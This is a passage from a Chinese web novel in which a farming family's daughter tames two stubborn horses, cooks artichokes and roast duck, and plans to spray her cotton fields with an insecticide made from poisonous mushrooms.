一直来都是租借马车,着实不方便,费用还高,她和牙行的徐良说了好几次,徐良答应帮她寻摸个好的,只是好马难求。 今早徐良才打发人过来递消息,弄到两匹上好的骐骥,叫她过去相看。 刘青青表示,她也不懂马啊。 刘有山赶车的疲劳,瞬间清空,兴奋得两眼发光,他刘有山也有买马的一天! 到了牙行,徐良亲自迎接他们,寒暄过后,领着他们到了后面的马圈。 马圈里,两匹瘦骨嶙峋的高头大马站在马圈里,厌世淡漠,无精打采垂着脑袋。 刘青青一看,倒吸一口凉气,隐含了一丝不满笑道:“徐伯,不说千里马,汗血宝马什么的,你弄这两匹半死不活的马给我,我能用它们来拉车么!”不是马拉车,是车拉马。 徐良苦笑道:“你先别急!” “这两匹马确实是难得一见的良驹,日行千里有些夸张,跑个几百里还是没问题的。这两匹马心气大,被主人寄养在我这里,思念主人才这么一副焉巴巴的模样。” “那更不合适了,人家是有主的,你把我们叫过来是……” “因为它们不吃不喝,再拖下去只怕性命不在,他们主人一时半会不回来,带信给我,让我帮它们寻个爱惜它们的新主人。” 说完,他一脸的讪讪:“这两匹马被养得骄纵,除了草料外,必须每顿吃一个苹果!” “我天天在城里,用不上这么好的马,这不是就想到你了么!” 说起这事来,他也觉得很意外。 徐良原本在北方当兵,断了手臂后回老家,用抚恤的银子开了这个牙行。前几日旧峰一身狼狈寻上门,让他弄一条快船。 他到现在还有些不敢相信,那个总是老子天下最厉害的将军,竟然软趴趴靠在副将的身上,满头的大包,整个人昏昏沉沉,意识糊涂。 面对他的打探,副将郭荣讳莫如深:“一时不查,遭到暗算!”着急护着上峰回京寻医。 两匹马丢在他这里。 自从两人走后,他寻了最好的草料,这两匹马不吃不喝,绝食抗拒,几日的功夫便瘦成这个样子。 飞鸽传书,两人已经回到上京,上峰没有大碍,但公务脱不开身,让他重新寻摸个主人。 只要把新主人带来一见,若两匹马有反应,便舍了去。 他把身边爱惜马匹的人都请过来相看了一遍,两匹马眼皮子都懒得撩一下,没奈何,把认识的人都请来,这不就想到了刘青青。 刘有山凑上前看了看,按照以往他的经验,这两匹马虽然半死不活的,但高大的骨架,流畅的线条,确实是难得一见的好马,前提是能活下去。 刘青青正要凑上前查看,被郭守云挡住:“万一它们发疯,像大青驴那样咬你,我来吧!” 他手里牵着里链条,另一端黑炭和棉花从他后面伸出个脑袋,一起凑上前。 /:. 黑炭棉花已经长得半人高,大家都当做是大狼狗,平时在城里,怕吓到小孩,刘青青让郭守云弄了条链子意思意思。 马圈里的两匹马有些烦躁,天天被一圈人围观,正不耐烦,突 然闻到一股熟悉的味道,一看,不正是那日暗算它们的野狼么。 瞬间满血爆发,眼睛通红,扬起高高的蹄子欲把黑炭踏与脚下。 郭守云看见马匹的第一眼觉得眼熟,这一下便知道马儿的来历,早就有所防备,拉着黑炭棉花往后躲。 徐良几乎喜极而泣,他终于帮旧峰的马匹找到了新主人,看看这马儿激动兴奋的模样! 第67章 第67章意外发现 行吧,看起来两匹马很喜欢阿云呢。 刘青青决定买下来:“原主要多少银子才肯转手?” 徐良顿了一下:“不要银子。” 刘青青诧异的哦了一声,便宜没好货。这不要钱的,莫不是找个冤大头暂时寄养。 徐良读懂了她的意思,急忙解释:“这马儿是大宛马,可遇不可求,市价的话,一匹在百两银左右,他们旧主,只有一个要求,善待它们!” 每顿好草料,甜苹果,不许打骂。 刘青青不吭声,刘有山嗤笑:“意思是日后旧主寻来,我们得把马儿还回去?”费那个劲帮人做嫁衣干嘛,直接买两匹不好么! “嗨,大宛马脾气倔强,被原主人抛弃后,即便原主人寻来,它们也不会再理睬了。所以,你们若能让马儿重新吃喝不绝食,这马儿便是你们的了。” 刘青青一听,还有这种好事,重新吃喝,这太简单了,不过为了以后不扯皮,让徐良写了一份转卖书,意思意思给了10两银子,若原主想要赎回,需赔偿百倍的违约金。 看两匹马儿那病歪歪的模样,刘青青让徐良弄一辆车来拉,哪知道黑炭在两匹马面前,摇头摆尾走了几步,两匹马像打了鸡血一般,嘶吼一声跳出马圈,追着黑炭便跑。 黑炭回头望了一眼,一个激灵炸了毛,挣脱链子一溜烟不见了。 刘青青和郭守云连忙追了上去。 一狼两马在街上狂奔,后面还跟着两个小孩。 幸好是正午时分,大多数人都在家里午休,没几个行人。 黑炭跑进青华楼,呜嗷一声钻进自己的铁笼子窝里不出来,两匹马围着笼子不停的转悠,拿蹄子去踢,却奈何不到躲在笼子里的黑炭,令它们更生气的是,里头的黑炭缩在角落里,扒拉着一块肉干啃得鲜香,不时掀起眼皮看它们一眼,只差把你耐我何写在狼脑袋上。 两匹大马气得乱踢乱叫,大肆破坏,撞在院中的桂花树,轰然倒塌睡在地上。 主要是饿了这么些天,又狂奔了一段路,再被黑炭气了一场,气血攻心才力竭在地。 刘青青和郭守云回到青华楼,看见一地狼藉的院子,对两匹大马的暴虐有了直观的认识,幸好大家都躲在屋子里,没伤到人,只是摆在院子里养荷花的大缸全部踢碎了,水躺了一地,到处是乱蹦的鲤鱼。 刘慧兰正领着人打扫院子,对两匹大马心有余悸,问她要怎么办:“这两匹马脾气像炮竹一样,能老实拉车么!” 刘青青心疼大水缸,也更看重两匹大马,这么厉害,不晓得收服后,骑着是个什么样的感受。 思索了一会,刘青青叫来车马行,合力把马儿捆到板车上,动身回村,村子里宽敞,可以让两匹马随意奔跑。 二来她要回去相看鸭子。 一路平安的回到清水沟村,现请了村子里的几个汉子,搭了一间马圈,用大腿粗的木桩围起来的那种,足有三米高,保证两匹大马踢不倒,跳不出来,刘青青亲自割了些鲜嫩的草料放在食槽里,便去看鸭子。 池塘里的鸭子,果然只只膘肥体壮,悠闲的戏水追逐,还有四百多只鸭子,刘青青有信心,三天就卖完。 刘青青喊上郭守云,两人骑着大青驴往黄泥塘村而去,一直听说那边养鸭子和鱼的人多,若能稳定的供应鸭子,酒楼里可以添一样菜。 顺着清水河往下,约摸走了一个时辰,到了黄泥塘村。 不同于清水沟村平整的田地,黄泥塘村地势高高低低,形成天然的大大小小的水泽,靠山吃山,靠水吃水,黄泥塘村每一户人家都有池塘,以养鱼喂鸭为生,才靠进村子,便问到熏天的臭气,那是大量鸭子聚集在一起的味道。 比起清水沟村,黄泥塘村村民的生活条件明显下降。清水沟村几乎没有茅草顶,而黄泥沟村只有三两家石头顶,一水的茅草屋。 他们一路询问,找到黄勇家,挨着水边一座三间的茅草房子。 看到她们来,黄勇沧桑的脸上闪过欣喜,将手里的麻袋顺手靠在墙边,招呼他们进门:“快进屋里坐!” 刘青青瞟了一眼各种麻袋,杂物塞得满满当当的屋子,顺手将手里的半袋子小米放在墙根下。 坐在了门前的小板凳上,直接道明来意:“黄叔,我们来问问,你们这里有没有出圈的鸭子,嗯,约摸四公斤,四月龄的” 黄勇搬了个小凳子给郭守云,一人倒了一碗白开水,糖罐已经空了,只好把盐罐底的盐粒倒在里头,端出来递给两人,自己也坐到一边,笑道:“四月鸭子长得到两公斤,四公斤一般要养十个月,你到底要四月龄的,还是四公斤的,我给你问问!” 难怪黄泥塘村日子艰难,投入大,喂养周期太长,中间出点差错便血本无归。 刘青青叹道:“我们家的鸭子全是四公斤多的,我还当每家的鸭子都一样!想来是我们家都尽着鸭子吃木薯渣的缘故。” “你们喂鸭子什么?长得有点慢哦!” 黄勇拖过墙边的麻袋:“哪里来的那么多粮食喂鸭子,我们都割草喂。 嗨,我跟你们说,鱼儿鸭子最喜欢吃苏丹草,这草长得慢,不够割。这拳头花串得飞快,割了几天又长起来,偏偏鱼儿不爱吃,鸭子也嫌弃,可惜苏丹草不够吃,没办法,弄一些回来对付对付。” 拳头花是什么?从来没听说过。 刘青青凑上前一看,麻袋里鼓鼓囊囊的,绿色肥厚的花絮层层叠叠像花骨朵那样,包在一起,大如拳头,顶端还带了一点紫色。 刘青青喜得两眼放光,从小板凳上滚下来,竟然在这里见到菊蓟。 末世的时候,菊蓟还有个别名,叫法国百合,或者朝鲜蓟。其实她也不知道为什么,叫这样莫名其妙的名字,但是,菊蓟味道甘甜,而且能提高人体唤醒异能的几率,吃一次得攒半年的晶核才够。 她颤抖着声音:“能把这个卖我一袋子么?” 黄勇把麻袋往她面前一放:“阿青姑娘,说得见外了,一点喂鸭子的野草,你要就拿去,什么卖不卖的。” 刘青青试探着问:“这个拳头花还有多少?” 黄勇苦着脸指了指屋子里:“这个拳头花村子后头到处都是,一片一片的。你要了作甚,鸭子和鱼儿都嫌弃哩!”占了苏丹草的地盘。 刘青青:“??” 发财了发财了! 不是鸭子和鱼儿嫌弃,那是鸭子和鱼没手,不会把老壳子剥掉。 刘青青心里隐隐有个想法,暂时没提。 她让黄勇在村子里统计一下,每月可以出圈的鸭子有多少,明日到清水沟村给她一个准确的答复,而她兴冲冲的让大青驴托着一麻袋菊蓟往家赶。 回到家放下麻袋,倒出带着枝叶的菊蓟,断口处还冒着汁水,想必是才割回家不久。 刘青青用菜刀切了几朵绿色的花下来,外面是层层圈圈的绿色老花瓣,一片一片剥开,直到漏出里头淡黄色的嫩花瓣,轻轻一掐便是一个指 甲印子,然后用刀把花杆皮削掉,整个切两刀分成四瓣,放在盐水中浸泡,不然一小会就会氧化变黑。 剥了半麻袋,整整得一小盆子鲜嫩的菊蓟心。 锅里苏氏炖了排骨,刘青青倒了三分之一进去,继续炖一炷香时间,淡白色的汤汁变成了淡绿。 炖汤的时候,刘青青捡了八个菊蓟出来,切细凉拌,剩下裹了加鸡蛋的面糊,下油锅小火慢炸,等一个个面糊飘起来,便捞起来上桌。 刘有山看着桌子上淡绿色的排骨,看不清里头是什么的金黄色面团,和碧绿的凉拌菜,苦着脸道:“慧兰不在家,我们只能天天吃草啊!” 做饭这事吧,还是讲究天分。秀娘确实不擅长做饭,平时炖点排骨都寡淡无味,不如慧兰做的,色香味俱全。今日更夸张,弄了些草进去,这是把他当大青驴来喂咯。 秀娘瞅他一眼,舀了一勺子菊蓟排骨给他:“吃你的罢,一天话这么多!” 刘有山先啃了块排骨,眼底露出惊疑不定的光:咦,排骨甜咪咪的,是清香中的甜,淡淡的,又不能忽视的甜! 苏氏的手艺,什么时候这么高了,能把白糖做成这样。 不对,这不是糖,白糖没有这样的清香,他把视线放到旁边淡黄色的草块上。 嗯,这不是草块,是阿青嘴中娥菊蓟。 他夹了一块放到嘴里,没有意料中的草腥味,入口即化,先是一种淡淡的苦涩,马上便化成甘甜,浓烈的,但又一点不会腻的清香甜蜜。 咽下肚子后,好长时间,都还有一种甘甜,顺着肚子冲向天灵盖。 原来,这就是回甘。 裹了面糊炸出来的菊蓟,外焦里嫩,淡淡的甘甜配合鸡蛋面糊的松脆,形成一种强烈的对照,实在太美妙了。 他又尝了一筷子凉拌菊蓟,添加了蒜泥姜汁的菊蓟,味道偏鲜甜,适合拌饭。 刘有山埋头大吃,没空贫嘴讨好老婆了,毕竟,翠翠这个小丫头,用漏勺捞第三碗菊蓟,阿云干了四碗,他要被比下去啦。 饭后,刘青青重新剥了一盆菊蓟端到马圈旁,两只大马趴在地上,无动于衷。 刘青青也不说话,一个一个把菊蓟放在手心里,让旁边的大青驴吃。 大青驴一点也不客气,舌头一卷便把菊蓟卷到肚子里,嚼了两口后,明显加快了咀嚼的速度,嫌弃她手里的太少,干脆伸长了脖子去盆里卷。 吧唧吧唧,咔嚓咔嚓,大马生无可恋,烦躁的嘶吼一声,为什么会和这样没脸皮的大青驴做邻居。 第68章 第68章全身都是宝 嘶嘶~大马烦躁的翻身,一口把刘青青盆里的菊蓟芯吃完,得意的看着大青驴。 叫你吃,叫你吃东西吧唧嘴,我全部吃完看你吃啥! 刘青青看着它扬着脑袋,歪着嘴鄙夷的盯着大青驴的模样,噗嗤笑出了声。 绝食的大马,开始吃东西了呢。 大马察觉,愣了一下,看她一眼后转过身去,屁股对着刘青青。 若有手的话,相信大马已经害羞的捂着脸了,真是一匹脾气毛躁,又倔强难为情的大马呢。 刘青青看了空的盆,干脆又把剩余的菊蓟剥完,分成三盆,大青驴一盆,两匹大马各一盆。还贴心的从河岸上割了些紫花苜蓿放在食槽中。 她没站在旁边观看,她准备尝一尝鸭子的味道。 怕黑炭和棉花刺激到大马,两小只被她放出去玩儿了,捉鸭子的事,落在了她和郭守云的身上。 每只鸭子都被郭守云逮过强行喂菌子,鸭子看见他惊慌失措逃命,拍着红色的脚巴掌,扑通扑通往池塘里掉,激起一阵一阵的水花。 郭守云根本不用跑,不慌不忙看准了,手握网兜罩住最胖的那只,扯过来就行。 刘青青想了想,叫他逮够十只。 鸭子带到前院,先把刘有山的老白干每只鸭子灌上半碗,一来除腥,二来醉酒的鸭子毛孔张开,容易去毛。 刘有山将鸭子杀死放血后,放在大木盆里,交上沸水,就可以轻易的除去鸭毛,露出雪白的鸭皮。 剩下皮肤上的一点绒毛,刘青青用之前做蜡烛剩下的杂质松油融软后往上面滚一圈,细小的鸭毛就被全部沾走。 然后从鸭屁股下方开一个小口,取出内脏,这事情是刘有山的。 内脏取完后,清洗干净鸭子,砍掉鸭爪鸭翅尖,需要腌制去腥,因是新鲜的鸭子,没有太大异味,刘青青只用了点胡椒、八角粉、山奈、盐巴,磨碎后均匀抹在鸭子内壁。 接下来便是打气。 刘青青用两只竹筒做了一个简易的打气筒,捏着鸭子屁股下的开口,将打气嘴从鸭脖子皮肤那伸进去,按压打气筒,使空气把鸭子皮肉分离,鼓起来,这一步很关键,打了气的鸭子皮肤光滑饱胀,烤出来的鸭子油光水滑,外焦里嫩。 因打气筒费力,刘有山和郭守云两人换着打完十只鸭子,打好气的鸭子,用铁钩穿在鸭脖子上挂起来。 这期间,刘青青调制了皮水,放了一份麦芽糖,一份蜂蜜,五份水。 打好气的鸭子先交上沸水,让鸭子皮紧缩,用干净的棉步擦干水汽,然后浇上皮水,均匀的拍打,这一步很解压。 拍打的时候要捏着脖子和屁股开口的地方,不要把气给打跑了。 不停拍打,直到皮水被鸭子吸收,再浇一遍,重复三次。 接下来把鸭子挂在房子廊下风大太阳晒不到的地方一个时辰,让鸭子自然风光。 鸭子内脏不要丢:鸭心,鸭胗,鸭肝,鸭舌,鸭肫,鸭肠都是美味呢。 取出这些剩下的便可以丢弃,其他人家内脏拿来喂狗,但刘青青坚持黑炭棉花喂熟食,所以把这些丢到粪坑里发酵后作肥料。 这些内杂和鸭翅鸭掌洗干净用葱姜水去腥,加上八果花椒大蒜山奈丁香孜然等卤料小火慢炖。 收拾完内杂,鸭子表皮已经风干,摸着有种纸一样的手感。木炭点燃之前打造的铁皮烤炉,预热五分钟后,将鸭子挂进考炉内,安排郭守云守在旁边烧火。 这里用的是梨木木炭,烤出来的鸭子更香。 刘青青趁这功夫,将已经凝固的鸭血,倒进沸腾的锅里,稍微一烫,鲜红色的鸭血变成咖啡色,立马捞起来。 接下来锅里倒入高汤,加入豌豆粉丝煮熟,依次放入酸菜,切小的鸭血,最后放入鸭肠,大火煮沸十息后,立马起锅。装了一个大汤碗,最后在上面撒上芫荽,茱萸,盐巴,蒜泥,脆豌豆,在烧热油淋上去。 热油落汤,冒出滋啦的声音,浓香四溢。 烤炉里的鸭子也熟了,刘青青取出五只,用油纸包好放在篮子里,挂在棉花脖子上,让它送到村长家,黑炭负责送到赵峰家。 剩下的三只,刘青青送到作坊里给孙姨,周氏和罗婶子,让她们下工带回去吃,顺便把大春叫过来。 桌子上一盆酸菜鸭血粉丝汤,一盘卤得入味的鸭杂,中间是考得焦红冒油的四只鸭子,哦,还有一只,被棉花和黑炭平分了。 两只在葡萄架下啃得恨不得连爪子都吃下去。 大春盯着桌子上红红绿绿的颜色,咽了一口口水:“你主意真多!” 常平县的百姓,鸭子常用来炖,像刘青青这样烤的,还真没见到过。 不过白色的大盘子里,一整只鸭子色泽红润,冒着油光躺在那里,实在,太震撼了,看着都流口水。 刘青青微微一笑:“别坐着不动,快尝一尝!” 她用菜刀切掉鸭屁股后,将烤鸭从中破成两半,每人分一半,顺便递来一碗甜面酱。 刘青青一直觉得,烤鸭就是要连皮带肉一起用手撕着吃,才过瘾。 当然,也可以用荷叶饼裹着菜蔬一起吃,不过她更喜欢吃米饭,不喜欢面食。 大春也不客气,从自己面前的盘子里,左手按着鸭子,右手稍微用力,便撕下一只冒着热气的鸭腿,尝了一口,外皮焦脆,鸭 肉鲜嫩多汁,没有一点腥味,实在太对她的胃口拉。 第二个高兴的要数刘有山,还是二女儿最贴心,满足了他大块吃肉的愿望。 苏氏对于刘青青用了她那么多名贵的调料是有意见的,但烤鸭进嘴的那瞬间,觉得这调料,用得太值啦。 郭守云和翠翠,看他们面前去掉一半的鸭子,便知道他们对烤鸭的喜爱。 刘有山嘴里啃着骨头,口齿不清道:“奇怪,原来也吃过鸭子,怎么感觉,没有我们家的鸭子鲜嫩,难道是因为自己养的?” 刘青青解释:“阿爹,黄泥塘的鸭子四月龄长得二公斤,去掉鸭毛内脏不到一斤,我们家的鸭子,全都有四公斤,洗干净还有一公斤,接近两公斤,所以才肥嫩美味。” 若养一年,鸭子已经老了,不适合做烤鸭,只能做板鸭炖煮。 他们家的鸭子能长这么快,一来是因为喂的是淀粉含量高的木薯渣,二来还喂了菌子,所以才增肥这么快,而且没有腥味,带着一股天然的清香。 棉花黑炭啃完自己的鸭子,在桌子底下转悠,扒拉着桌角嗷嗷嗷啃,着实可怜。这两个机灵鬼,就会装可怜,刘青青只好把剩下的两个半只给了它们。 两只得了鸭子,一溜烟跑回葡萄架下,埋头大吃。 其他人盯着桌子上冒着酸香味的粉丝汤。 碧绿的芫荽,咖啡色的鸭血,淡黄色卷边的鸭肠,红彤彤的茱萸油,冒着热气勾着人移不开眼。 大春替苏氏和刘有山舀了一碗后,自己添了一碗,粉丝弹韧爽滑,鸭血细腻润滑,鸭肠脆弹有嚼劲,啧,香酸辣配合在一起,实在太开胃拉! 不一会便吃得满头大汗,她感叹,比起干妈家,自己家吃的就是猪食。 肚子实在撑不下了,可是卤鸭舌鸭肫,还没吃呢,看着就香,怎么办? 大春懊悔自己肚子太小,犹豫着还是伸出了手去拿。 苏氏按住她和翠翠:“你们小孩子,吃多了肚子疼,这个是卤的,凉了也好吃,等天黑给你们做宵夜!” 用碗装了一碗让她带回去。 刘有山嘿嘿笑了一声,拍拍肚皮:“我肚子还空着呢!” 夹起一块鸭肫,脆脆的,软软的,香中带辣,浓香入骨,这么好的美食,一定要配点米酒。 一家子一边吃一边计划,青华楼里卖烤鸭的事情,苏氏叹息:“可惜你阿姊在城里,没吃到!” 刘青青安慰她:“没事,等大马不犯倔,骑着大马,最多一刻钟便可回来,再说,我们自己家塘子里还有那么多的鸭子,还能少了她吃么!” 大春羡慕刘家轻松和睦的气氛,想到自己家便觉得糟心。 自从哥哥和慧兰姐退婚后,日日在家萎靡不振。阿娘忙着找媒人,相看介绍了许多女孩,可是哥哥一个都看不上,随着干妈家的作坊办起来,阿娘其实早就后悔了,但依旧觉得自己没错,定要寻一户殷实的人家结亲。 自己家在村子里日子还不错,拿到城里就没眼看了,这不,阿娘相中城里的一家富户,那家人也不嫌弃哥哥性子软,愿意把闺女许给赵家,不过要求以后小两口住在城里不回清水沟,据说已经置办好三进的宅院当嫁妆。 阿娘觉得捡了天大的便宜,喜得眉开眼笑,阿爹却不同意,说这和上门女婿有什么差别,自家又不是吃不上饭过不下去,不愿意哥哥上门受气,再说,家里只有哥哥一个儿子,他要挑起赵家的门户呢。 阿娘却说,独门独户过日子,什么叫上门,等儿子成了亲,她搬去城里一起住,难道儿媳敢不给进门么。 两人为这事闹得不可开交,家里天天气压沉闷,哥哥没事一样,依旧睡他的大头觉,也不劝一下,问就是全凭爹娘做主。 依着她看,哥哥其实和阿娘想的一样,只是惧怕阿爹不敢说出来。 她觉得哥哥真不是个东西,没有男子汉的担当,拈轻怕重,配不上慧兰姐,是她,她也退婚。 刘青青送她出门,笑着开玩笑:“等月底,我们把账会一会,你可以领一大笔奖金呢,你先想想,打算买点啥!” 两人说笑着出门,便看见院门口站着的刘满仓,看见门打开后,长长舒了一口气。 他组织了好几遍语言才结结巴巴道:“阿青姑娘,不,东家大小姐,不是,东家二小姐……” 刘青青诧异了一下,笑道:“满仓叔,别见外,叫我阿青就好!你咋站在门口不进去,是有什么事情么?” 许是刘青青的平易近人,刘满仓终于不结巴了,焦急道:“棉花长虫子了,怎么办啊?” 第69章 第69章大妞二妞 “我今日去除草,发现棉桃上长了虫子,已经抓了一天,可是根本抓不完!”刘满仓黑红的脸上都是焦急,丰收在即,这些可恶的虫子,却来破坏农人的心血,若不能快速地把虫子除掉,减产算是轻的,一不小心就要颗粒无收。 多亏刘家每个月那一两八,她们夫妻日子松乏了许多,田地里没活计的时候,他还能去山上捡菌子,卖了三两左右,家里日子一下子得到了改善,顿顿吃上碎米饭,偶尔还有余钱买点骨头熬汤解解馋,孩子小脸上长了肉,不再瘦得皮包骨头。 刘满仓是真心把刘家的田地,当成自己家的来照看,不,比自己家的还精心。棉花种子极其金贵,刘家放心的交给他管理,虫子不是在棉桃上打洞,是在他心口子上打洞,吃他的肉,喝他的血。 他空有一把子力气,对付这些小虫子却半点没用,今儿在地里一朵一朵棉桃顺着检查找虫子,堪堪翻过半亩地,折回头去看,还是有虫子出没,几乎没把他折磨疯。 他惶然无措,刘家会不会怨怼他不好好干活。 站在院门口半响,不知道该怎么开口解释,踌躇不敢敲门。 刘青青一听,舒了口气,满仓叔这天塌下来的模样,差点没把她吓死,不在意的挥挥手:“嗨,没事,哪有不招虫子的庄稼。明儿我过去看看。” 她打量了一眼刘满仓裤腿上的泥,衣袖上的污渍,想来是才从地里回来,不由得心下感动,刘满仓是个实在肯干的长工,对于这样的下属,刘青青一向是亲和有礼的:“满仓叔还没吃饭的罢,快进屋,我们也才吃完,随便在我家对付一点,一面吃一面细说!” 刘满仓本想拒绝,又着急棉花的事,局促的跟着进了屋。 刘有山看见他很是开心:“满仓兄弟来了,快洗把脸,随便吃点。” 厨房已经收洗刷得干干净净,刘青青重新点了火,下了一海碗面条,煎了两个鸡蛋,热了热留着作宵夜的卤鸭杂。 因为刘家都是些半大的孩子,肚子饿得快,每晚都要吃宵夜,刘青青买了精面,加了碱和鸡蛋,兑上水后揉得光滑,刘慧兰擀得薄薄的,切细切短后晾干收在篮子里,吃的时候只要煮一盏茶的功夫就行,非常快捷方便。 刘满仓被刘有山按在椅子上,局促得手脚不知往哪放,嘴里连连道着不用麻烦,随便弄点红薯就行。 刘有山夹了一个鸭心到他碗里:“没事,他们平时也这样吃,不麻烦。” 雪白的面条上面,油汪汪的肉酱,翠绿的生菜,朱红色的茱萸油,金黄的鸡蛋,乳黄色的蒜泥,焦脆的菌子,还有酥脆的豌豆。 稍微一拌,让各种佐料充分沾染到每一丝面条,刘满仓嗦了一口,便再也停不下来。 面条柔软而筋道,入口回甘,满口浓香。 刘满仓 一不小心,稀里哗啦干完一海碗,吃完后惊觉汤底都被他喝干了,为自己的粗鲁而羞赧,刘有山把鸭杂推到他面前,自己也捡了一个鸭肫嚼起来:“来,尝尝卤的鸭杂,家里自 己养的鸭子。” 刘青青倒了一杯菊蓟茶水给他。 嗯,菊蓟鲜嫩的花瓣芯全部被吃完了,老花瓣也有用,被她洗干净后放在太阳下晒干作茶泡水喝,清香扑鼻,回甘无穷,小孩也能喝。 刘满仓尝了一口,被里头的回甘吓得不敢再喝:“这茶水放了糖罢,不用这么客气,给我一杯水就行了,不是,不用水,我不渴!” 刘有山笑道:“都是自家兄弟,满仓你这么客气作甚,这也不是茶,是阿青自己采的花瓣,不值当什么,你要觉得好,廊下还有许多,一会装一篮子回去喝,解渴!” 刘满仓既感动又羡慕,只觉得刘家的日子就像他梦中一样,如戏文里唱的,吃香的,喝甜的。 刘青青见他不紧张了,才慢悠悠询问:“满仓叔,棉花田里的虫子,是什么时候有的?” 说起田地来,刘满仓变得说话利索:“哎,前天去拔草还没有,昨天我去稻田里,今天到地里才发现的。” 刘青青叹道:“棉花地紧邻稻田,估计田里稻谷也生了虫子!” “那行,满仓叔你也累了一天,先回去歇着,我明日去城里买点药,嗯,后日吧,后日麻烦你过来,帮我搬到田地里,杀灭害虫。” 刘有山送走满脸疑惑的刘满仓,急匆匆回来拉着她:“阿青,你又有什么鬼主意?买什么药?” 他不擅长种田,但在村子里过了一辈子,从来没见过哪家的庄稼生虫子,喝药水,又不是人。 祖祖辈辈,庄稼生了虫子都是靠两只手去抓,或者烧干草用烟熏,赶走虫子。可惜效果不咋的,能抓到的虫子,已经很大了,粮食都被吃掉了许多,烟熏的话,虫子会躲到土里边,过两天又爬回来。 一棵棵庄稼长到丰收要经历干旱,暴雨,霜降,有的时候还有冰雹,农人小心翼翼的浇水施肥盖草,仔细护着,好不容易要丰收了,这些可恶的害虫又来糟蹋粮食,真真可恨。 刘青青笑眯眯道:“人生病了,要喝药,庄稼生病了也要喝药。既然虫子吃庄稼,我们把虫子药死了就行。” 说得好有道理,可是怎么让虫子吃药,一只只灌么? “阿爹你好笨,我们把药像毛毛雨那样,均匀洒在棉花枝叶上,虫子吃棉花啃叶子,不就把药吃了。” 解决了虫子怎么吃的问题:“那药怎么办?”去医馆买么,去了告诉大夫,我家棉花生虫子,你老配点药,看人家坐堂大夫不把你打出来。 刘青青打开后院新搭建的库房,里头堆得满满的干鹅膏菌:“诺,这些毒菌子,鸭子都能药死,还药不死小小的虫子么!” 迎着刘有山惊诧的目光,郭守云理应如此的点头。 刘青青让苏氏缝了一双手套,一个口罩,还穿上一套不要了的旧衣服,全副武装捡出一筐菌子,用小石磨磨成粉末,按照不同的比例兑水浸泡。 牺牲的鸭子告诉了刘青青,生的鹅膏菌,一片就能要鸭子的命,要特别小心。 药水弄好了,刘青青想着做个喷雾器。 专业的事情,需要交给专业的人,她大约把图纸画了出来,打算明日带到县城找铁匠铺子里的人去做。 去县城,骑着大马半个时辰便到,她眼热的去到后院, 大马不再绝食,装菊蓟的木盆吃得干干净净,食槽里苜蓿草尖啃完,只剩点干枯的根茎,啧,还挺挑食。 看见她来,仍旧把头扭到另外一边,旁边小一些的马吃着草,被它撞了一下,不情不愿的跟着转过身,屁股对着她。 刘青青哭笑不得,夜幕四合,她去哪里找菊蓟芯来给它们吃。 要不,试一试菌子? 刘青青去作坊里,装了一筐新鲜的松茸菌过来,放在食槽。 大马偏偏头,先拿鼻子闻了闻,看见她站在那里,打一个响鼻,又缩了回去。 刘青青笑了一下,假装漠不关心的走掉,躲到墙角后偷偷观看。 只见大马等了一会,凑到食槽里闻了闻,嫌弃的打了个响鼻,走开了。 过了一会,许是饿了,它试探的卷了一朵松茸菌到嘴里嚼巴两下,然后大大的眼睛,忽然亮了一下,加快速度咀嚼起来,还不忘踹一脚旁边的跟班马,叫它快来吃。 一旁的大青驴不愿意了,阿布阿布叫个不停,大马哼哧打了个响鼻,不耐烦的咬了一朵甩给大青驴。 啧,这大马别扭又聪明,还会护着跟班,实在太对胃口了。 刘青青一下子跳出去,大马愣了一下,差点把嘴里的菌子给吐出来,低头看看空了的食槽,又看看她。 吃人嘴短,不情不愿低下头,伸到刘青青面前,让她摸一摸。 刘青青惊喜交加,将手放在它脑袋上拍了拍:“放心,以后跟着我,吃香的,喝辣的,保管把你养得肥肥壮壮!” 大马打个响鼻,哼哧~~~ “嗯,你这扭扭捏捏的模样真好玩,以后你叫大妞,它叫二妞。” “哎哟,你咋又扭过去不理人拉!” “行行行,再给你们端一盆菌子!” 在松茸的吸引下,大马二马都是男娃,但可耻没有骨气的认下了大妞二妞的名字,主要是刘青青喊一声大妞,给它一朵菌子,它形成了条件反射。 再说,一个名字有什么关系,名字霸气就有松茸吃么。 它原本叫追风,二马叫追影,名字够大气了吧,白活了好几年,第一次吃到这样鲜美甜嫩的食物呢。 心情愉悦的刘青青又端了一盆加了盐的冷白开水来,让大妞二妞喝,每个食槽里都放了豆饼。 次日一早,刘青青骑着大妞,郭守云骑着二妞进城。别看他们骑着大妞二妞很是拉风,但每跑五六里路,大妞便要求一朵松茸菌,不给吃便停下不走。她的背包里全是大妞二妞的口粮。 算了,看在两匹马风驰电掣的份上,她忍了。优秀的快马,谁还没点脾气呢! 寻到之前打造铁锅菜刀铁盘等酒楼用具的杨氏铁匠铺,杨掌柜亲自出门迎她:“哟,阿青掌柜来啦,可是又要打造新锅具?” 刘青青笑眯眯颔首:“杨掌柜,我这里有几份图纸,你看看,能不能打出来!” 第70章 第70章打虫子 杨掌柜面色一动,眼底闪过一道精光。 两方坐定,刘青青摆出图纸:“这里有几个器械的图纸,你看看能不能打出来?” 杨掌柜接过一看,细长管,齿轮,针眼盖子……露出一丝凝重:“你这些零件很精密,必须用精铁,价钱可不低啊。” 他看不懂这些是做什么用的。 刘青青似笑非笑:“不用管价钱,只要能达到我要的效果。要求尺寸必须完全按照我这个来。诺,比如这个细管,尖端的孔一定要细如针眼。” 杨掌柜不解的问:“你弄这些做什么?” 上次她来打了一些奇奇怪怪的锅盆用在青华楼,比如方盘,圆柱形的铁皮烤炉,可以翻转的烤架,他至少晓得用处,今儿拿来这些,全是莫名其妙的器械。 他能感觉到其中的精妙,但实在想象不出,用来干什么? 刘青青看了他一眼:“反正不害人,有大用处,你就说接不接单罢?” 有钱不赚是傻子,当然接。 最后,刘青青付了100两的定金,签订契约。 铁匠铺子不能外泄图纸,不能私自打造图纸里的物件,其中第一张图纸的物件,今晚要出一个样品,其它的一个月后交工,若有违约,按价百倍赔偿。 杨掌柜嗤笑,这肯定是她做来,放在酒楼里的新餐具,他有什么好泄露仿造的,毫不在意刷刷刷签了契约。 接下来她们又去了木匠铺子,朱家老字号,之前在镇上买的家具便是他家的分号,青华楼桌椅的维修换新也是他们家做的,便宜结实美观又实用。 同样下了订单,付了50两的定金。 两人回到青华楼,刘慧兰揉着太阳穴理账,把本子往刘青青面前一丢:“你可算来了,这账实在太难算了,你来罢!” 她还是喜欢在厨房里呆着,捏着锅铲子把各种食材有序组在一起,神奇的变成美味。 